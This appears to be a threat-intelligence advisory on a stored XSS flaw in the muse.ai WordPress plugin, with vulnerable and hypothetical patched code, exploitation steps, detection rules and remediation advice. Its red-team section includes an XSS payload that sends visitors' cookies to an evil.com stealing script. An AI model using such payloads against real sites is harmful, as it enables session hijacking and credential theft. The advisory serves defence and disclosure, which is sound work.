CVE-2025-6262

Executive Summary

CVE-2025-6262 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the muse.ai video embedding plugin for WordPress, affecting all versions up to and including 0.4. The flaw resides in the plugin's muse-ai shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts into pages. When any user (including administrators) visits an affected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as WordPress ecosystem issue, not related to Apache or Nginx. The CVSS score is 6.4 (Medium), with a low EPSS score of 0.0% indicating low exploitation likelihood at this time. No public proof-of-concept (PoC) or patch details are available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin file (muse-ai/muse-ai.php) and ensure no unauthorized modifications have been made. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs Contributor-level access.
• User Interaction (UI): None (N) – No user action needed for execution.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited modification of data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.4, the requirement for authenticated access reduces the immediate risk. However, once exploited, the impact can be severe due to the stored nature of the XSS.

Deep Dive & Mechanics

The vulnerability exists in the muse-ai shortcode handler. The plugin registers a shortcode that accepts user-supplied attributes (e.g., url, width, height). These attributes are directly embedded into the HTML output without proper sanitization or escaping.

Vulnerable Code Flow:

1. A user with Contributor-level access creates or edits a post/page.
2. The user inserts the [muse-ai url="..."] shortcode with a malicious payload in the url attribute.
3. The plugin processes the shortcode and outputs the attribute value directly into the page HTML.
4. When any user visits the page, the browser interprets the injected script.

Root Cause: Insufficient input sanitization and output escaping on user-supplied shortcode attributes.

Vulnerable vs. Patched Code

Vulnerable Code (muse-ai.php, version <= 0.4):

function muse_ai_shortcode($atts) {
    $atts = shortcode_atts(array(
        'url' => '',
        'width' => '560',
        'height' => '315'
    ), $atts);
    
    return '<iframe src="' . $atts['url'] . '" width="' . $atts['width'] . '" height="' . $atts['height'] . '"></iframe>';
}
add_shortcode('muse-ai', 'muse_ai_shortcode');

Patched Code (Hypothetical fix):

function muse_ai_shortcode($atts) {
    $atts = shortcode_atts(array(
        'url' => '',
        'width' => '560',
        'height' => '315'
    ), $atts);
    
    $url = esc_url($atts['url']);
    $width = intval($atts['width']);
    $height = intval($atts['height']);
    
    return '<iframe src="' . $url . '" width="' . $width . '" height="' . $height . '"></iframe>';
}
add_shortcode('muse-ai', 'muse_ai_shortcode');

Key Differences:

• esc_url() sanitizes the URL attribute.
• intval() ensures width and height are integers.
• Output escaping prevents script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with muse.ai plugin version <= 0.4.
• User account with Contributor-level privileges.

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode into the post content:

   [muse-ai url="javascript:alert('XSS')"]
   

4. Publish or save the post.
5. Any user visiting the post will see an alert box (or execute arbitrary JavaScript).

Advanced Payload Example:

[muse-ai url="http://evil.com/steal.php?cookie=" onload="document.location='http://evil.com/steal.php?cookie='+document.cookie"]

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor WordPress logs for shortcode usage with suspicious attributes.
2. Use WAF rules to block javascript: URIs in shortcode attributes.
3. Implement Content Security Policy (CSP) headers to mitigate XSS.

Mitigation:

• Disable the plugin until a patch is available.
• Restrict Contributor-level access to trusted users only.
• Use a security plugin (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

File-Based IOCs:

• wp-content/plugins/muse-ai/muse-ai.php (version <= 0.4)
• Modified post/page content containing [muse-ai shortcode with suspicious attributes.

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• Requests containing javascript: or data: URIs in shortcode attributes.

Log IOCs:

• WordPress debug logs showing shortcode processing errors.
• Web server logs with [muse-ai in the request body.

Detection Engineering

YARA Rule

rule CVE_2025_6262_Muse_AI_XSS {
    meta:
        description = "Detects stored XSS payloads in muse.ai plugin shortcode attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6262"
        severity = "medium"
    strings:
        $shortcode = /\[muse-ai\s+[^\]]*?(?:javascript|on\w+\s*=|data:)/i
        $payload = /(?:<script|onerror|onload|onclick|onmouseover)/i
    condition:
        $shortcode or $payload
}

Sigma Rule

title: CVE-2025-6262 - Stored XSS via muse.ai Shortcode
id: 8a7b3c2d-1e5f-4a6b-9c8d-7e0f1a2b3c4d
status: experimental
description: Detects attempts to exploit stored XSS in muse.ai WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'muse-ai'
        cs-uri-query|re: 'javascript:|on\w+=|data:'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe URLs
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-6262 - Stored XSS via muse.ai Shortcode"; flow:to_server,established; content:"muse-ai"; http_uri; pcre:"/(javascript|on\w+=|data:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Review all posts/pages for malicious shortcode usage.
3. Change all user passwords if compromise is suspected.

Long-Term Fixes:

• Apply the patched code (see Vulnerable vs. Patched Code section) if you have developer access.
• Monitor the official WordPress plugin repository for updates.
• Implement a Web Application Firewall (WAF) with XSS rules.

Workarounds:

• Use a security plugin to block shortcode execution for non-admin users.
• Restrict Contributor-level access to only trusted users.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.